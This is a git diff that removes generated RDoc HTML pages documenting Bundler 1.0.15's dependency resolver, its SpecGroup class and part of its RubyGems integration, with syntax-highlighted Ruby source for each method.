-325:       <span class="ruby-identifier">dependencies</span> = <span class="ruby-identifier">spec_group</span>.<span class="ruby-identifier">activate_platform</span>(<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">__platform</span>)
-326: 
-327:       <span class="ruby-comment cmt"># Now, we have to loop through all child dependencies and add them to our</span>
-328:       <span class="ruby-comment cmt"># array of requirements.</span>
-329:       <span class="ruby-identifier">debug</span> { <span class="ruby-value str">&quot;    Dependencies&quot;</span>}
-330:       <span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dep</span><span class="ruby-operator">|</span>
-331:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">type</span> <span class="ruby-operator">==</span> <span class="ruby-value">:development</span>
-332:         <span class="ruby-identifier">debug</span> { <span class="ruby-node">&quot;    * #{dep.name} (#{dep.requirement})&quot;</span> }
-333:         <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">required_by</span>.<span class="ruby-identifier">replace</span>(<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">required_by</span>)
-334:         <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">required_by</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">requirement</span>
-335:         <span class="ruby-identifier">reqs</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">dep</span>
-336:       <span class="ruby-keyword kw">end</span>
-337: 
-338:       <span class="ruby-comment cmt"># We create a savepoint and mark it by the name of the requirement that caused</span>
-339:       <span class="ruby-comment cmt"># the gem to be activated. If the activated gem ever conflicts, we are able to</span>
-340:       <span class="ruby-comment cmt"># jump back to this point and try another version of the gem.</span>
-341:       <span class="ruby-identifier">length</span> = <span class="ruby-ivar">@stack</span>.<span class="ruby-identifier">length</span>
-342:       <span class="ruby-ivar">@stack</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">name</span>
-343:       <span class="ruby-identifier">retval</span> = <span class="ruby-identifier">catch</span>(<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">name</span>) <span class="ruby-keyword kw">do</span>
-344:         <span class="ruby-identifier">resolve</span>(<span class="ruby-identifier">reqs</span>, <span class="ruby-identifier">activated</span>)
-345:       <span class="ruby-keyword kw">end</span>
-346:       <span class="ruby-comment cmt"># Since we're doing a lot of throw / catches. A push does not necessarily match</span>
-347:       <span class="ruby-comment cmt"># up to a pop. So, we simply slice the stack back to what it was before the catch</span>
-348:       <span class="ruby-comment cmt"># block.</span>
-349:       <span class="ruby-ivar">@stack</span>.<span class="ruby-identifier">slice!</span>(<span class="ruby-identifier">length</span><span class="ruby-operator">..</span><span class="ruby-value">1</span>)
-350:       <span class="ruby-identifier">retval</span>
-351:     <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">search</span><span
-						class="method-args">(dep)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
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-				<div class="method-description">
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-						id="search-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 357</span>
-357:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">search</span>(<span class="ruby-identifier">dep</span>)
-358:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">base</span> = <span class="ruby-ivar">@base</span>[<span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span>] <span class="ruby-keyword kw">and</span> <span class="ruby-identifier">base</span>.<span class="ruby-identifier">any?</span>
-359:         <span class="ruby-identifier">d</span> = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Dependency</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">base</span>.<span class="ruby-identifier">first</span>.<span class="ruby-identifier">name</span>, *[<span class="ruby-identifier">dep</span>.<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">as_list</span>, <span class="ruby-identifier">base</span>.<span class="ruby-identifier">first</span>.<span class="ruby-identifier">version</span>].<span class="ruby-identifier">flatten</span>)
-360:       <span class="ruby-keyword kw">else</span>
-361:         <span class="ruby-identifier">d</span> = <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">dep</span>
-362:       <span class="ruby-keyword kw">end</span>
-363:       <span class="ruby-identifier">index</span> = <span class="ruby-ivar">@source_requirements</span>[<span class="ruby-identifier">d</span>.<span class="ruby-identifier">name</span>] <span class="ruby-operator">||</span> <span class="ruby-ivar">@index</span>
-364:       <span class="ruby-identifier">results</span> = <span class="ruby-identifier">index</span>.<span class="ruby-identifier">search_for_all_platforms</span>(<span class="ruby-identifier">d</span>, <span class="ruby-ivar">@base</span>[<span class="ruby-identifier">d</span>.<span class="ruby-identifier">name</span>])
-365: 
-366:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">results</span>.<span class="ruby-identifier">any?</span>
-367:         <span class="ruby-identifier">version</span> = <span class="ruby-identifier">results</span>.<span class="ruby-identifier">first</span>.<span class="ruby-identifier">version</span>
-368:         <span class="ruby-identifier">nested</span>  = [[]]
-369:         <span class="ruby-identifier">results</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">spec</span><span class="ruby-operator">|</span>
-370:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span> <span class="ruby-operator">!=</span> <span class="ruby-identifier">version</span>
-371:             <span class="ruby-identifier">nested</span> <span class="ruby-operator">&lt;&lt;</span> []
-372:             <span class="ruby-identifier">version</span> = <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span>
-373:           <span class="ruby-keyword kw">end</span>
-374:           <span class="ruby-identifier">nested</span>.<span class="ruby-identifier">last</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">spec</span>
-375:         <span class="ruby-keyword kw">end</span>
-376:         <span class="ruby-identifier">nested</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">a</span><span class="ruby-operator">|</span> <span class="ruby-constant">SpecGroup</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">a</span>) }.<span class="ruby-identifier">select</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">sg</span><span class="ruby-operator">|</span> <span class="ruby-identifier">sg</span>.<span class="ruby-identifier">for?</span>(<span class="ruby-identifier">dep</span>.<span class="ruby-identifier">__platform</span>) }
-377:       <span class="ruby-keyword kw">else</span>
-378:         []
-379:       <span class="ruby-keyword kw">end</span>
-380:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="start-method" class="method-detail ">
-				<a name="method-i-start"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">start</span><span
-						class="method-args">(reqs)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
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-					
-					<div class="method-source-code"
-						id="start-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 157</span>
-157:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">start</span>(<span class="ruby-identifier">reqs</span>)
-158:       <span class="ruby-identifier">activated</span> = {}
-159: 
-160:       <span class="ruby-identifier">resolve</span>(<span class="ruby-identifier">reqs</span>, <span class="ruby-identifier">activated</span>)
-161:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
-		
-			<div id="successify-method" class="method-detail ">
-				<a name="method-i-successify"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">successify</span><span
-						class="method-args">(activated)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="successify-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 153</span>
-153:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">successify</span>(<span class="ruby-identifier">activated</span>)
-154:       <span class="ruby-identifier">activated</span>.<span class="ruby-identifier">values</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">to_specs</span> }.<span class="ruby-identifier">flatten</span>.<span class="ruby-identifier">compact</span>
-155:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
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-
-		
-			<div id="version-conflict-method" class="method-detail ">
-				<a name="method-i-version_conflict"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">version_conflict</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
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-					<div class="method-source-code"
-						id="version-conflict-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 390</span>
-390:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">version_conflict</span>
-391:       <span class="ruby-constant">VersionConflict</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">errors</span>.<span class="ruby-identifier">keys</span>, <span class="ruby-identifier">error_message</span>)
-392:     <span class="ruby-keyword kw">end</span></pre>
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-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Resolver/SpecGroup.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Resolver/SpecGroup.html
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>Class: Bundler::Resolver::SpecGroup</title>
-
-	<link rel="stylesheet" href="../../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
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-<body class="class">
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-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../../index.html">Home</a>
-          <a href="../../index.html#classes">Classes</a>
-          <a href="../../index.html#methods">Methods</a>
-        </h3>
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-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../../lib/bundler/resolver_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/resolver.rb">lib/bundler/resolver.rb</a></li>
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-		<div id="class-metadata">
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-			<!-- Parent Class -->
-			
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-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">Array</p>
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-			</div>
-			
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-			<!-- Namespace Contents -->
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-				<ul class="link-list">
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-			<!-- Included Modules -->
-			
-			<div id="includes-section" class="section">
-				<h3 class="section-header">Included Modules</h3>
-				<ul class="link-list">
-				
-				
-					<li><span class="include">GemHelpers</span></li>
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-					<li class="file"><a href="../../lib/bundler/man/bundle.html">bundle</a></li>
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-				<h3 class="section-header">Class Index
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-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
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-			</div>
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-		<h1 class="class">Bundler::Resolver::SpecGroup</h1>
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-		<!-- Constants -->
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-    <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 31</span>
-31:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">a</span>)
-32:         <span class="ruby-keyword kw">super</span>
-33:         <span class="ruby-ivar">@required_by</span>  = []
-34:         <span class="ruby-ivar">@activated</span>    = []
-35:         <span class="ruby-ivar">@dependencies</span> = <span class="ruby-keyword kw">nil</span>
-36:         <span class="ruby-ivar">@specs</span>        = {}
-37: 
-38:         <span class="ruby-constant">ALL</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span>
-39:           <span class="ruby-ivar">@specs</span>[<span class="ruby-identifier">p</span>] = <span class="ruby-identifier">reverse</span>.<span class="ruby-identifier">find</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">match_platform</span>(<span class="ruby-identifier">p</span>) }
-40:         <span class="ruby-keyword kw">end</span>
-41:       <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 65</span>
-65:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">activate_platform</span>(<span class="ruby-identifier">platform</span>)
-66:         <span class="ruby-keyword kw">unless</span> <span class="ruby-ivar">@activated</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">platform</span>)
-67:           <span class="ruby-ivar">@activated</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">platform</span>
-68:           <span class="ruby-keyword kw">return</span> <span class="ruby-identifier">__dependencies</span>[<span class="ruby-identifier">platform</span>] <span class="ruby-operator">||</span> []
-69:         <span class="ruby-keyword kw">end</span>
-70:         []
-71:       <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 85</span>
-85:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">for?</span>(<span class="ruby-identifier">platform</span>)
-86:         <span class="ruby-ivar">@specs</span>[<span class="ruby-identifier">platform</span>]
-87:       <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">initialize_copy</span><span
-						class="method-args">(o)</span>
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-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 43</span>
-43:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize_copy</span>(<span class="ruby-identifier">o</span>)
-44:         <span class="ruby-keyword kw">super</span>
-45:         <span class="ruby-ivar">@required_by</span> = <span class="ruby-identifier">o</span>.<span class="ruby-identifier">required_by</span>.<span class="ruby-identifier">dup</span>
-46:         <span class="ruby-ivar">@activated</span>   = <span class="ruby-identifier">o</span>.<span class="ruby-identifier">activated</span>.<span class="ruby-identifier">dup</span>
-47:       <span class="ruby-keyword kw">end</span></pre>
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-			<div id="name-method" class="method-detail ">
-				<a name="method-i-name"></a>
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-						class="method-args">()</span>
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-    <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 73</span>
-73:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">name</span>
-74:         <span class="ruby-ivar">@name</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">first</span>.<span class="ruby-identifier">name</span>
-75:       <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 81</span>
-81:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">source</span>
-82:         <span class="ruby-ivar">@source</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">first</span>.<span class="ruby-identifier">source</span>
-83:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-			<div id="to-s-method" class="method-detail ">
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-					<span class="method-name">to_s</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-						id="to-s-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 89</span>
-89:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_s</span>
-90:         <span class="ruby-node">&quot;#{name} (#{version})&quot;</span>
-91:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				</div>
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-			<div id="to-specs-method" class="method-detail ">
-				<a name="method-i-to_specs"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">to_specs</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
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-					<div class="method-source-code"
-						id="to-specs-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 49</span>
-49:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_specs</span>
-50:         <span class="ruby-identifier">specs</span> = {}
-51: 
-52:         <span class="ruby-ivar">@activated</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span>
-53:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">s</span> = <span class="ruby-ivar">@specs</span>[<span class="ruby-identifier">p</span>]
-54:             <span class="ruby-identifier">platform</span> = <span class="ruby-identifier">generic</span>(<span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">s</span>.<span class="ruby-identifier">platform</span>))
-55:             <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">specs</span>[<span class="ruby-identifier">platform</span>]
-56: 
-57:             <span class="ruby-identifier">lazy_spec</span> = <span class="ruby-constant">LazySpecification</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>, <span class="ruby-identifier">platform</span>, <span class="ruby-identifier">source</span>)
-58:             <span class="ruby-identifier">lazy_spec</span>.<span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">replace</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">dependencies</span>
-59:             <span class="ruby-identifier">specs</span>[<span class="ruby-identifier">platform</span>] = <span class="ruby-identifier">lazy_spec</span>
-60:           <span class="ruby-keyword kw">end</span>
-61:         <span class="ruby-keyword kw">end</span>
-62:         <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">values</span>
-63:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
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-				
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-			</div>
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-			<div id="version-method" class="method-detail ">
-				<a name="method-i-version"></a>
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-					<span class="method-name">version</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-					<div class="method-source-code"
-						id="version-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 77</span>
-77:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">version</span>
-78:         <span class="ruby-ivar">@version</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">first</span>.<span class="ruby-identifier">version</span>
-79:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
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-				
-			</div>
-
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-		</div>
-	
-		<div id="private-instance-method-details" class="method-section section">
-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="-dependencies-method" class="method-detail ">
-				<a name="method-i-__dependencies"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">__dependencies</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
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-					
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-					
-					<div class="method-source-code"
-						id="-dependencies-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/resolver.rb, line 95</span>
- 95:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">__dependencies</span>
- 96:         <span class="ruby-ivar">@dependencies</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
- 97:           <span class="ruby-identifier">dependencies</span> = {}
- 98:           <span class="ruby-constant">ALL</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span>
- 99:             <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span> = <span class="ruby-ivar">@specs</span>[<span class="ruby-identifier">p</span>]
-100:               <span class="ruby-identifier">dependencies</span>[<span class="ruby-identifier">p</span>] = []
-101:               <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dep</span><span class="ruby-operator">|</span>
-102:                 <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">type</span> <span class="ruby-operator">==</span> <span class="ruby-value">:development</span>
-103:                 <span class="ruby-identifier">dependencies</span>[<span class="ruby-identifier">p</span>] <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">DepProxy</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">dep</span>, <span class="ruby-identifier">p</span>)
-104:               <span class="ruby-keyword kw">end</span>
-105:             <span class="ruby-keyword kw">end</span>
-106:           <span class="ruby-keyword kw">end</span>
-107:           <span class="ruby-identifier">dependencies</span>
-108:         <span class="ruby-keyword kw">end</span>
-109:       <span class="ruby-keyword kw">end</span></pre>
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-	
-		<p>Disabled; run with --debug to generate this.</p>
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-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RubygemsIntegration.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RubygemsIntegration.html
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RubygemsIntegration.html
+++ /dev/null
@@ -1,1619 +0,0 @@
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
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-
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-
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-				</div>
-			</div>
-
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-
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-				
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-				
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-			
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-				<h3 class="section-header">Namespace</h3>
-				<ul class="link-list">
-					
-					<li><span class="type">MODULE</span> <a href="RubygemsIntegration/Gem.html">Bundler::RubygemsIntegration::Gem</a></li>
-					
-					<li><span class="type">MODULE</span> <a href="RubygemsIntegration/Gem/SourceIndex.html">Bundler::RubygemsIntegration::Gem::SourceIndex</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="RubygemsIntegration/Deprecate.html">Bundler::RubygemsIntegration::Deprecate</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="RubygemsIntegration/Legacy.html">Bundler::RubygemsIntegration::Legacy</a></li>
-					
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-					
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-					
-				</ul>
-			</div>
-			
-
-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-c-new">::new</a></li>
-					
-					<li><a href="#method-i-bin_path">#bin_path</a></li>
-					
-					<li><a href="#method-i-clear_paths">#clear_paths</a></li>
-					
-					<li><a href="#method-i-configuration">#configuration</a></li>
-					
-					<li><a href="#method-i-download_gem">#download_gem</a></li>
-					
-					<li><a href="#method-i-fetch_specs">#fetch_specs</a></li>
-					
-					<li><a href="#method-i-gem_bindir">#gem_bindir</a></li>
-					
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-					
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-					
-					<li><a href="#method-i-read_binary">#read_binary</a></li>
-					
-					<li><a href="#method-i-replace_bin_path">#replace_bin_path</a></li>
-					
-					<li><a href="#method-i-replace_entrypoints">#replace_entrypoints</a></li>
-					
-					<li><a href="#method-i-replace_gem">#replace_gem</a></li>
-					
-					<li><a href="#method-i-replace_refresh">#replace_refresh</a></li>
-					
-					<li><a href="#method-i-reverse_rubygems_kernel_mixin">#reverse_rubygems_kernel_mixin</a></li>
-					
-					<li><a href="#method-i-ruby_engine">#ruby_engine</a></li>
-					
-					<li><a href="#method-i-sources">#sources</a></li>
-					
-					<li><a href="#method-i-sources%3D">#sources=</a></li>
-					
-					<li><a href="#method-i-spec_from_gem">#spec_from_gem</a></li>
-					
-					<li><a href="#method-i-stub_source_index137">#stub_source_index137</a></li>
-					
-					<li><a href="#method-i-stub_source_index170">#stub_source_index170</a></li>
-					
-					<li><a href="#method-i-ui%3D">#ui=</a></li>
-					
-					<li><a href="#method-i-user_home">#user_home</a></li>
-					
-					<li><a href="#method-i-with_build_args">#with_build_args</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Included Modules -->
-			
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-
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-			
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-				<h3 class="section-header">Files</h3>
-				<ul>
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-		<h1 class="class">Bundler::RubygemsIntegration</h1>
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-			
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-
-		<!-- Constants -->
-		
-		<div id="constants-list" class="section">
-			<h3 class="section-header">Constants</h3>
-			<dl>
-			
-				<dt><a name="Deprecate">Deprecate</a></dt>
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-
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-			<div id="new-method" class="method-detail ">
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-				<div class="method-heading">
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-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
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-					
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-					
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-					
-					<div class="method-source-code"
-						id="new-source">
-<pre>
-   <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 3</span>
-3:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>
-4:       <span class="ruby-comment cmt"># Work around a RubyGems bug</span>
-5:       <span class="ruby-identifier">configuration</span>
-6:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="bin-path-method" class="method-detail ">
-				<a name="method-i-bin_path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">bin_path</span><span
-						class="method-args">(gem, bin, ver)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="bin-path-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 72</span>
-72:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">bin_path</span>(<span class="ruby-identifier">gem</span>, <span class="ruby-identifier">bin</span>, <span class="ruby-identifier">ver</span>)
-73:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">bin_path</span>(<span class="ruby-identifier">gem</span>, <span class="ruby-identifier">bin</span>, <span class="ruby-identifier">ver</span>)
-74:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="clear-paths-method" class="method-detail ">
-				<a name="method-i-clear_paths"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">clear_paths</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="clear-paths-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 68</span>
-68:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">clear_paths</span>
-69:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">clear_paths</span>
-70:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="configuration-method" class="method-detail ">
-				<a name="method-i-configuration"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">configuration</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="configuration-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 24</span>
-24:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">configuration</span>
-25:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">configuration</span>
-26:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="download-gem-method" class="method-detail ">
-				<a name="method-i-download_gem"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">download_gem</span><span
-						class="method-args">(spec, uri, path)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="download-gem-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 103</span>
-103:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">download_gem</span>(<span class="ruby-identifier">spec</span>, <span class="ruby-identifier">uri</span>, <span class="ruby-identifier">path</span>)
-104:       <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">RemoteFetcher</span>.<span class="ruby-identifier">fetcher</span>.<span class="ruby-identifier">download</span>(<span class="ruby-identifier">spec</span>, <span class="ruby-identifier">uri</span>, <span class="ruby-identifier">path</span>)
-105:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="fetch-specs-method" class="method-detail ">
-				<a name="method-i-fetch_specs"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">fetch_specs</span><span
-						class="method-args">(all, pre, &blk)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="fetch-specs-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 85</span>
-85:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">fetch_specs</span>(<span class="ruby-identifier">all</span>, <span class="ruby-identifier">pre</span>, &amp;<span class="ruby-identifier">blk</span>)
-86:       <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">SpecFetcher</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">list</span>(<span class="ruby-identifier">all</span>, <span class="ruby-identifier">pre</span>).<span class="ruby-identifier">each</span>(&amp;<span class="ruby-identifier">blk</span>)
-87:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="gem-bindir-method" class="method-detail ">
-				<a name="method-i-gem_bindir"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">gem_bindir</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="gem-bindir-source">
-<pre>
